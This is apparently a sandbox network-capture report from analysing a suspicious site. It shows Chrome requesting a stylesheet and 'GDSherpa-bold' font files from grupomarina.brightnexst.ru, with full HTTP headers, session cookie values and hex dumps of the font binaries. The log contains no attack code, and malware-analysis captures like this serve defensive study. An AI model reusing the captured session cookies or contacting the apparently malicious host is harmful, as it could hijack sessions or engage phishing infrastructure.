2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 2d 61 63 74 69 6f 6e 20 7b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 3a 20 76 61 72 28 2d 2d 75 78 2d 37 34 73 31 62 6b 2c 76 61 72 28 2d 2d 75 78 2d 63 78 62 65 38 67 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 6c 69 6e 65 48 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 31 64 72 79 32 70 6a 2c 76 61 72 28 2d 2d 75 78 2d 6a 77 35 73 39 6a 2c 31 2e 35 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 69 72 38 76 74 76 2c 76 61 72 28 2d 2d 75 78 2d 67 66 6e 75 70 76 2c 73 61 6e 73 2d 73 65 72 69 66 29 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 76 61 72 28 2d 2d 75 78 2d 34 67 31 72 32 74 2c 76 61 72 28 2d 2d 75 78 2d 6a 34 30 79 79 64 2c 34 30 30 29 29 Data Ascii: -action { --uxText--fontSize0: var(--ux-74s1bk,var(--ux-cxbe8g,1rem)); --uxText--lineHeight: var(--ux-1dry2pj,var(--ux-jw5s9j,1.5)); font-family: var(--ux-1ir8vtv,var(--ux-gfnupv,sans-serif)); font-weight: var(--ux-4g1r2t,var(--ux-j40yyd,400))

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.16	49740	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:13 UTC	1395	OUT	GET /GDSherpa-bold.woff2 HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive Origin: https://grupomarina.brightnexst.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:13 UTC	1148	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:13 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff2" cf-cache-status: MISS Last-Modified: Mon, 17 Mar 2025 20:55:13 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xChshITYYS7pMgPJ3nQfhP5drej4q4kArXOfdN683POVOv0zciWEWM4cg3CLH1Oq3pCj6ia8B9NWhT5IxybxMfvRCpcKe1nIGYpybXDNPAwN58%2FGkfaLlb0ynZRb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1647&min_rtt=1376&rtt_var=709&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2306&delivery_rate=2104651&cwnd=251&unsent_bytes=0&cid=10fdad00da263ba9&ts=123&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 921f63d5bafac484-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1634&min_rtt=1628&rtt_var=623&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1967&delivery_rate=1737061&cwnd=220&unsent_bytes=0&cid=64554d18f8f54e3d&ts=473&x=0"
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv2=Zn4`~Nl4;Sl{w:#=!
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 03 75 f4 b1 1c 11 80 ff ca f3 72 0d 00 49 18 00 8e 3f 2f 8d 31 03 75 c2 71 34 2f 90 38 8d ce f6 02 f1 2e 99 22 cb 68 8c 5f 71 51 76 58 9a 29 0a 40 2d b9 27 a4 bc 5a aa f4 c7 04 4f ec 85 48 0f 5d 5c 2e a2 b2 58 05 6b 6c fd a5 09 9a bc ad b4 07 ed 59 fb 47 29 c9 8d 4d ea 8e b9 57 56 f5 4d c2 3d 8a 84 a9 60 2a 9b ae ce 18 b0 25 26 d8 83 3a fc 48 b0 78 c9 ce b4 7c 6e cb e9 82 ae eb 96 be de 7f ea 6f fa bf 99 97 a0 34 c3 67 ea cc 9c 53 66 dd dc 38 37 cd ed 33 6b 5e 99 7f 99 ff 5a 08 2e 3c 16 f8 c5 f0 a2 6d d1 bd 60 2e e6 16 df 2e 7e 83 78 01 5a 28 cd 21 12 47 42 46 a1 6e 97 dd 82 54 aa d6 ae 4b b7 61 e3 26 4c 59 b4 6c 05 db 15 d7 5c 77 d3 1d db f0 bf d6 60 31 5d 4a 97 d3 f5 f4 a4 59 2d 73 e6 2d 58 b4 64 d9 8a 55 6b d6 6d d8 dc d6 b6 77 b0 f6 d0 61 c3 47 8c 1c Data Ascii: urI?/1uq4/8."h_qQvX)@-'ZOH]\.XklYG)MWVM=`*%&:Hx\|no4gSf873k^Z.<m`..~xZ(!GBFnTKa&LYl\w`1]JY-s-XdUkmwaG
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 99 36 84 b0 f4 46 7e 5a 7b 61 cb ce 38 7e 18 10 15 5a 16 2a dd 9d 07 cd 21 1f 79 7a 00 95 f6 00 6a a7 b6 7b 71 25 61 96 bf 64 1c 1e 9e 9b c6 7a 4b 2d 5e ca d6 b0 97 ff 3f 8d 57 52 7d 30 28 fc 2e bc 7e fd 90 34 de 54 c9 b1 e6 c0 08 ee e4 96 9a 1e 6b 45 c5 4e d6 97 57 40 eb 12 8f 15 b0 35 9f 31 43 a2 f8 ff b9 61 4a 0a 90 ae 5e 88 f3 1f 3c 2d 4f 42 88 ef c2 28 16 d2 73 11 28 3a ce c4 59 ff 45 25 b4 9c 70 77 4b 58 aa 75 59 34 d1 89 ae d4 8c 41 03 4d 4a 28 ac 59 68 f9 97 0b 97 a7 c8 5c 7a a8 29 fc 5a 13 ff 12 4a 26 6c 0f 5c 61 fe a4 3c dd 0c 29 39 23 3d 43 0c b0 ae 0b d9 19 f3 69 78 bc c4 1d 5d e4 a9 75 82 6c 46 dc 61 52 47 75 81 f7 9a 59 0b 79 56 80 3c 2f 6d c3 e0 bb bd e6 87 fe 1c cc 0d 18 38 fa 62 0b 01 bc 05 33 fb 67 82 27 9d 98 3f 21 ff 23 4c 66 24 d3 27 Data Ascii: 6F~Z{a8~Z*!yzj{q%adzK-^?WR}0(.~4TkENW@51CaJ^<-OB(s(:YE%pwKXuY4AMJ(Yh\z)ZJ&l\a<)9#=Cix]ulFaRGuYyV</m8b3g'?!#Lf$'
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: d5 60 26 6a 11 ad 15 dc e3 a8 26 8d 6b ec 3a 27 ef 4b 33 f0 4f 93 a9 e1 9e d1 f6 63 da ec d3 0e 34 e2 39 79 e1 96 a4 86 1f af ef 8c b4 a5 3c 0c 57 1a 78 27 6e 5b a1 19 51 5a 6f 9e 8b 14 d6 2d 13 b2 16 b5 3d 49 d5 e2 af d4 85 12 c4 12 ee 91 e0 52 14 13 df e1 2e 1e ee 9d 82 e2 44 81 31 46 c5 1e 9c 78 1a ff ad f7 ef bf 8f d6 ff b5 fd 1b 5d cb c9 d3 4b 33 cc 70 ea 36 ee f9 8f 5f a5 dc 84 9a 44 e9 60 b5 ec 08 71 ee 84 82 67 2e 3d 1a 27 7c 6b 5a 43 e7 17 68 d8 46 8a 12 a1 97 f0 38 b3 f5 e6 70 1a ef e8 dd 71 eb 47 29 98 b8 19 2d eb bf 92 6b e8 78 37 79 35 9b 74 56 5d 8c 52 68 57 7d 59 cc f3 f4 eb 74 4c d6 b5 c9 43 86 3d 79 6f 50 db 91 84 e7 ee 0c 54 fb e1 d1 8a eb f5 00 5f 98 7b d5 02 c9 d4 83 39 92 97 e2 70 58 d4 05 60 f1 63 30 c3 d6 0a 9b a6 c4 77 52 42 36 e2 Data Ascii: `&j&k:'K3Oc49y<Wx'n[QZo-=IR.D1Fx]K3p6_D`qg.='\|kZChF8pqG)-kx7y5tV]RhW}YtLC=yoPT_{9pX`c0wRB6
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 61 24 8e 27 57 80 da f3 5e 35 af bb e3 03 40 0f e0 81 d6 e4 72 a2 3b 3a ff 9a 7c e9 55 1d a5 cf 00 47 63 61 4d b9 95 2b 87 8c 8c 79 16 a5 3b b7 d7 2f 1b d8 87 8b 7a ed 18 95 8d cb 26 c5 5c 4a b2 02 cc 7d 8b bd 75 07 76 e6 ed 02 7b c5 ef cb e9 93 d3 b3 75 e5 bc 7a 71 39 ef 52 f7 a5 f9 7a 5f 53 b7 6f e1 dd 08 70 20 07 11 87 5c 0a 45 98 0a 20 6a 4f a4 91 c3 ab 40 91 22 2d 8e 05 ca d6 bb 41 86 25 66 cf 4b e5 bd 45 d9 9f 7b 70 52 76 6a 3f 5b d4 b5 e3 bc ec a2 ec f2 a8 78 68 9f c2 ef a2 46 98 0f 5f 4d ec 44 75 e6 82 ca e3 d4 75 5b 8b 57 b8 01 40 ea 79 35 09 51 44 1f 46 9c 04 65 2a 14 5c 8f c7 eb ea 99 43 c4 05 a8 5c 67 31 cd 47 a2 8b 64 af a2 dd 25 0f 30 42 87 63 c5 7e 02 a5 42 d3 64 32 44 01 80 0d 52 50 be b2 37 d0 27 5f 0e b0 93 cc 2b 52 29 c2 37 52 bd c4 24 Data Ascii: a$'W^5@r;:\|UGcaM+y;/z&\J}uv{uzq9Rz_Sop \E jO@"-A%fKE{pRvj?[xhF_MDuu[W@y5QDFe*\C\g1Gd%0Bc~Bd2DRP7'_+R)7R$
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 3e 93 cf 06 3e 1b 6b 49 a1 3d dd c9 ed 93 0b 55 5c ed a1 7e 5d fe f5 bd df c1 ef c6 e1 00 5b b4 99 b2 b1 d3 7e 51 a2 9d 51 af 1b d3 98 e9 a0 46 47 b0 e2 79 bc 8d 5f 45 02 d2 dc cb e5 fb d9 db 53 e3 90 87 26 b4 a3 1b 4c 4c 80 a5 2e ab 9b ea 2b f5 87 8c 08 0b ac 90 dd 17 8f 39 5d f8 40 e5 8d 40 08 0b 4f 5a 89 bf 09 1f 01 c7 17 00 74 33 49 cd 2b e0 e8 fe f2 a6 77 74 6a 15 b5 ca 05 3c 90 f8 47 86 10 78 e3 96 eb c1 bd e2 c9 50 99 fe a4 89 7c ea c1 e3 ff 76 bf 77 bf 75 3b 48 25 39 ab 66 55 b4 d4 83 a5 1b 8f 6e 3e 5a 03 f8 f5 33 d8 95 10 a9 c7 aa f0 00 b0 7c e9 77 7e 33 44 09 f0 3e e0 c3 8f ff ad 45 f7 3d f5 d6 fb 5a 82 72 a1 6e 7e 7e 7b 37 18 f8 eb 13 2a 2f ef e8 26 36 b5 d9 cd ef fc 58 bb b4 cb bb b9 db bb 1b e4 e5 dc c3 3d 8d df 4a f9 fe d7 96 4f 37 3f 59 8d Data Ascii: >>kI=U\~][~QQFGy_ES&LL.+9]@@OZt3I+wtj<GxP\|vwu;H%9fUn>Z3\|w~3D>E=Zrn~~{7*/&6X=JO7?Y
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 09 f7 26 6d 00 d0 e6 10 c1 78 a2 92 9e 7e 1d 38 ac 35 b1 d9 5e c6 22 49 0b 0c 92 d0 0b e4 49 15 4a bf ad 67 1d 98 a1 a4 f1 fe 67 df 53 5e 2c 5c 2a 8e 53 83 e3 96 e3 d2 28 64 dc 36 c6 78 6c 1c e3 b5 f1 8c cf 26 30 7e 9b c8 04 6c 1a 26 68 d3 32 21 9b ae 21 c7 58 1e 44 74 e6 26 98 3a e8 ae 1d fd 9d 7c 4e 99 bb e4 53 b9 50 96 2e f9 de ae c3 d6 68 d8 d0 40 04 84 41 14 85 24 06 10 20 71 80 00 49 00 04 48 12 20 40 52 00 01 92 06 08 90 0c 40 80 64 01 02 d1 22 f5 32 ca 94 12 2a d6 a7 59 f7 74 c6 c7 08 39 45 35 7d 97 29 a3 d4 94 ca a9 90 56 12 60 c4 86 fb e6 0c 33 2f 84 32 b8 d4 a9 f2 d5 8a 3a 2a d5 84 d2 b5 c8 56 0c f5 ae 4b 8d 29 69 f2 a2 75 ba 43 ea 2d 68 58 83 be 83 dd 43 d6 31 ba 15 81 fb 17 de df 75 68 4f ec 7e ab 07 bd e9 34 a9 d7 8a d4 77 27 a0 0e f7 9d 96 Data Ascii: &mx~85^"IIJggS^,\S(d6xl&0~l&h2!!XDt&:\|NSP.h@A$ qIH @R@d"2Yt9E5})V`3/2:*VK)iuC-hXC1uhO~4w'
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 27 ca e7 2a 3b b5 9b b5 5e 6d f4 12 71 64 a9 ee b5 17 4d 11 28 23 71 3b 57 2b 7a d0 27 9e 6c e8 ab a1 2c 75 38 40 b2 71 70 fd 28 b0 44 77 96 46 34 5e 7e a4 df f0 b6 3d 4a f7 af e3 54 97 b6 79 81 fa 19 dd c3 ab 9e 54 cb 57 ba 5c ff 10 96 f4 71 d9 ac ea ca 7a e7 bc ec 1b f8 05 d9 31 29 17 f9 e1 bb fb 5c 1c 5d 71 7a d8 0b cd 1c 53 fe fe b2 b4 3d 10 20 96 5c 95 bf 82 ec 7f 3a 32 4a e7 9a 90 90 57 12 7a fd 3c 0d ca 2b 2a c0 90 20 03 03 b5 15 91 74 de 12 46 09 c6 72 c2 be 42 61 8a 26 64 ef 9c cd 7f 9c 14 9e a3 37 72 fa 2f 17 51 8b c3 38 c9 eb 8e 2a 0a f9 8c 82 22 f4 76 b2 f8 94 af f1 c1 bc 1c 2c af dd 60 23 79 ad ae 50 0a d7 57 bd 3d 56 45 8f f1 55 61 5f 2e ac 3d 06 0a 28 a4 49 6d a6 6f 46 1d 78 2e 47 5c 51 cf 7c ea d0 49 1b 79 95 1a 90 09 07 ff e7 e0 5d 83 d3 Data Ascii: ';^mqdM(#q;W+z'l,u8@qp(DwF4^~=JTyTW\qz1)\]qzS= \:2JWz<+ tFrBa&d7r/Q8*"v,`#yPW=VEUa_.=(ImoFx.G\Q\|Iy]
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 83 5a ba 57 65 1c fc b8 6f e3 49 ec 6f 3b 33 20 a2 d8 b7 fc b0 6d e6 d4 d8 7f e0 70 37 98 4e be e4 a7 7d d3 d7 fe b8 6b 64 84 c3 6d fd 17 d0 66 01 77 ab d0 06 e1 ef 20 c7 14 32 5c 3c 9e f3 9e 6a bd 0b ff 41 39 d8 8a 03 fe 0f d2 46 2d e9 ed 73 8d 8c 55 99 e7 9a 82 cf 9d 96 dd 33 eb 50 4f f8 8b 60 2d 24 19 7e 2c 86 75 fc 9a 88 5f 11 f1 53 91 05 4f 52 f5 48 04 e2 a2 57 79 98 4e a0 4d da 1b f3 61 90 bc e6 d5 86 97 fa 37 e1 70 d4 90 31 be 7b 14 7b ea 31 24 e4 e7 36 ca a4 a4 4a a4 0e 3e f9 ac 08 e3 09 74 47 28 24 12 c2 91 fd 6a 5f 36 92 7e 36 f2 3d bc 8d 5c 34 a8 7e e9 db 8f 94 09 21 1b 42 3d 1b 7d 1b 34 50 c6 40 f7 f0 f8 30 57 e9 7c 0c 7d 0f b1 ab 87 c3 38 9b e3 57 66 17 81 f8 91 c4 6a 08 1e a1 73 a2 b3 0d 59 7d 44 8b f1 ba 4b f8 4d 02 ea 4b 96 f7 6d 42 bd d0 Data Ascii: ZWeoIo;3 mp7N}kdmfw 2\<jA9F-sU3PO`-$~,u_SORHWyNMa7p1{{1$6J>tG($j_6~6=\4~!B=}4P@0W\|}8WfjsY}DKMKmB
2025-03-17 20:55:13 UTC	574	IN	Data Raw: 37 b8 e6 da 03 dc b3 cc ab ec 24 dc aa 94 7f a2 fe e7 6c 21 4b 8d 61 62 b1 21 8c 2c 75 b2 c4 51 d7 44 c9 c4 7b d5 7b bf e6 fb 01 16 52 9c 9d 80 af 1d 73 5e db f9 da 5b e6 5d ad ba 53 6c 84 af db 02 bb 6c 2f 79 f0 fc b8 6d 5c 92 2d 9f 27 8d 77 77 77 de fd 2c db e7 ef 9d 47 08 5d c5 ae de 3f dc cd c6 73 67 a0 ac 6f 0a 42 a6 4e 55 c3 bc d7 a7 80 36 bb 3b 4c 87 0b ff 78 f8 94 3c 73 fa 29 dc f5 34 07 0c 82 1c b2 fc f6 28 25 35 ec 51 98 3e e5 79 12 ec cc 3e a8 df 54 3f b3 8d d3 4e 3d dc 25 12 7d 23 a8 1b b7 3a 7e 84 e9 5c 57 59 a1 69 f8 4e cc 13 74 cb f6 59 8a f2 c7 7b 23 1e 5c 11 6f cd 9f 0e 5a 7b 48 bd b1 a1 bc 98 60 7c 98 af e8 a1 d0 37 2c 4c e8 f3 d2 5f 18 81 47 ca 7f f4 b6 87 82 e9 75 90 42 08 38 2a 3c 44 02 86 34 04 65 98 f6 e8 c4 68 ca 84 b1 22 27 99 42 Data Ascii: 7$l!Kab!,uQD{{Rs^[]Sll/ym\-'www,G]?sgoBNU6;Lx<s)4(%5Q>y>T?N=%}#:~\WYiNtY{#\oZ{H`\|7,L_GuB8*<D4eh"'B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.16	49742	104.21.41.104	443	6444	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 20:55:13 UTC	1394	OUT	GET /GDSherpa-bold.woff HTTP/1.1 Host: grupomarina.brightnexst.ru Connection: keep-alive Origin: https://grupomarina.brightnexst.ru sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
2025-03-17 20:55:13 UTC	1154	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 20:55:13 GMT Content-Type: font/woff Content-Length: 35970 Connection: close Content-Disposition: inline; filename="GDSherpa-bold.woff" Last-Modified: Mon, 17 Mar 2025 20:55:13 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XTJV4Pjm%2BgY0iRqIzrc3tm0Lz5vCHX4mO6SWuIVfTf5c4q%2FhoQRTgUgmsYf8iQlApZY%2B1nR2QpF4vkZbIyGVPLAxdu2x6DJG94DTil%2BK2oRfQm%2F5pBuCMZTRPwN8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=1140&min_rtt=1139&rtt_var=429&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2305&delivery_rate=2520452&cwnd=251&unsent_bytes=0&cid=194c9e232ba0780e&ts=119&x=0" Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Server: cloudflare CF-RAY: 921f63d5af616a4e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1769&min_rtt=1767&rtt_var=664&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1966&delivery_rate=1652518&cwnd=214&unsent_bytes=0&cid=9fc8cd1768ebe566&ts=532&x=0"
2025-03-17 20:55:13 UTC	215	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8c 82 00 11 00 00 00 01 24 20 00 01 00 00 00 00 8b 5c 00 00 01 26 00 00 02 93 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8b 54 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 17 df 00 00 4e b6 ed 42 8f b9 47 53 55 42 00 00 19 60 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c 10 00 00 00 46 00 00 00 60 69 c3 7b 5b 63 6d 61 70 00 00 1c 58 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 84 dc 00 00 00 2f 00 00 00 3c 29 81 01 c0 66 70 67 6d 00 00 85 0c 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 84 d4 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 21 74 00 00 52 Data Ascii: wOFF$ \&DSIGTGPOSNBGSUB`3yOS/2F`i{[cmapX<?+cvt /<)fpgm?gaspglyf!tR
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 61 00 00 9d a4 24 e0 b2 69 68 65 61 64 00 00 73 d8 00 00 00 33 00 00 00 36 1b 16 7d b8 68 68 65 61 00 00 74 0c 00 00 00 21 00 00 00 24 10 f8 09 15 68 6d 74 78 00 00 74 30 00 00 03 80 00 00 07 78 3f 73 90 23 6c 6f 63 61 00 00 77 b0 00 00 03 a8 00 00 03 be 4c 43 25 1c 6d 61 78 70 00 00 7b 58 00 00 00 20 00 00 00 20 03 35 0c fc 6e 61 6d 65 00 00 7b 78 00 00 02 c8 00 00 06 03 d7 eb b7 a5 70 6f 73 74 00 00 7e 40 00 00 06 94 00 00 0b fb 31 2b f3 2c 70 72 65 70 00 00 8a d0 00 00 00 81 00 00 00 8d 19 50 02 10 78 da ed 5c 0d 74 55 d5 95 de 3b 79 dc bc f7 08 21 be 89 21 09 10 52 8d 34 a2 22 28 08 22 2a 22 a2 55 e4 af d6 56 b4 5d 33 ae a9 e3 72 a8 cb 35 63 07 ac 1d 6a f9 b5 2e 01 87 5f e5 37 55 b0 94 89 48 01 15 31 4d 53 45 08 10 10 30 62 a0 11 62 26 86 bf 18 92 f0 Data Ascii: a$iheads36}hheat!$hmtxt0x?s#locawLC%maxp{X 5name{xpost~@1+,prepPx\tU;y!!R4"("*"UV]3r5cj._7UH1MSE0bb&
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: f9 cb c5 67 64 82 82 4c 50 90 0a 9e d5 80 0a 8f d8 d0 5a 50 93 87 f6 4d 78 76 33 28 d9 89 5f e1 9f 58 6f 00 fa 62 4a c9 c6 58 02 4d 49 b1 34 05 52 c2 bd b9 98 e3 3c fc ce 87 9e 2d 14 49 25 f2 62 b4 69 0b 36 ad 37 19 98 93 2d bf 61 4b ab 41 fc c6 66 13 13 66 08 d9 03 5b 3e f6 02 78 70 93 e7 06 70 79 2c e9 1b 98 8d 1e 2b 80 b1 32 30 56 a2 d8 6d 2e 7e d7 a2 2d 4f c6 f2 82 f2 44 50 9d 06 a9 e5 63 d4 bd 88 09 07 84 ea 4a 19 69 2e 5a b5 fe 6a dd 35 2d 3f 04 4a 6a 40 49 35 74 b7 41 46 29 12 bd c9 14 8a 0a a1 a3 af 89 2c 72 78 2a 66 f9 14 24 f8 0b fc 3e 4d 03 20 89 d7 c0 39 03 f4 32 bd 0e bd d2 fd d7 c9 f1 90 1c 2b e4 58 85 11 d2 31 b3 9e b0 7b 4d 51 81 50 b3 0d 52 6b 90 96 17 d1 52 41 39 68 c9 87 e7 2a 80 3e 4f 6f 29 a1 4b c0 f5 f5 f0 1b 53 d1 02 af a9 6a f1 5c Data Ascii: gdLPZPMxv3(_XobJXMI4R<-I%bi67-aKAff[>xppy,+20Vm.~-ODPcJi.Zj5-?Jj@I5tAF),rxf$>M 92+X1{MQPRkRA9h>Oo)KSj\
2025-03-17 20:55:13 UTC	1369	IN	Data Raw: 4a da ea e0 d7 ab b4 cd b8 2a dd be 76 a5 ab 7d 10 9e 36 57 41 be e5 b5 03 89 35 fb d4 09 55 10 ad d2 b5 57 b9 54 c3 df 59 b5 9b 19 73 89 97 99 16 63 45 bc aa 8b 94 2f 7a 05 b8 bf 7a 54 0d 44 9e 56 25 f2 ff dc b6 75 59 0b 2e 83 37 3d a1 0e 62 3f e4 54 e6 83 ac 4a a4 19 ed 31 c9 d9 9d 7c b7 93 6c 36 c2 ca e0 c5 be c5 dc 73 a9 0d 2a 97 f2 e9 79 da 88 f3 dd ba 92 14 89 af 97 b6 35 ea 18 b4 a0 16 1e a9 c4 5e 7f a7 25 ce 93 87 70 b8 5a 56 e8 5e c5 be 28 a6 54 ef fb 7f 09 7e 73 df a7 fe a3 a5 5a 3d a3 46 c9 3a 6b 95 e9 bd cd d8 83 df 1a 55 aa 8e 22 63 ca 56 15 6a 9d f3 cc 28 3b 5b 82 07 b8 2f e6 3a da 02 0d ac a7 4b e1 81 1a 9c f7 61 71 d6 bb 52 dd fe 6e d8 5b 3d 8f b5 a6 14 e3 dc 0e de e6 73 75 9c 12 cd 35 7d c9 3c 9b 74 46 ec ca 92 6d ea c4 d3 9a 19 70 8c 3c 